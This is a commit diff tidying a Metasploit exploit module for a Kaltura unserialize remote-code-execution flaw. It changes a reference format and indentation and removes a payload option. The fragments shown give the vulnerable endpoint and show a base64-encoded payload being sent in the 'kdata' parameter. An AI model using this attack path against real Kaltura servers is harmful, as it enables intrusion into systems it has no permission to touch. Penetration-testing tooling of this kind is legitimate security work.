Change References to EDB number and remove 4 space

modules/exploits/unix/webapp/kaltura_unserialize_rce.rb

@@ -35,13 +35,9 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'References'      =>
         [
-          ['URL', 'https://www.exploit-db.com/exploits/39563/']
+          ['EDB', '39563']
         ],
       'Privileged'      => false,
-      'Payload'         =>
-        {
-          'DisableNops' => true
-        },
       'Platform'        => ['php'],
       'Arch'            => ARCH_PHP,
       'Targets'         => [ ['Automatic', {}] ],
@@ -50,9 +46,9 @@ class MetasploitModule < Msf::Exploit::Remote
     ))
 
     register_options(
-        [
-            OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
-        ]
+      [
+        OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
+      ]
     )
   end
 
@@ -73,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
       'vars_get' => {
-          'kdata' => Rex::Text.encode_base64(p)
+        'kdata' => Rex::Text.encode_base64(p)
       }
     )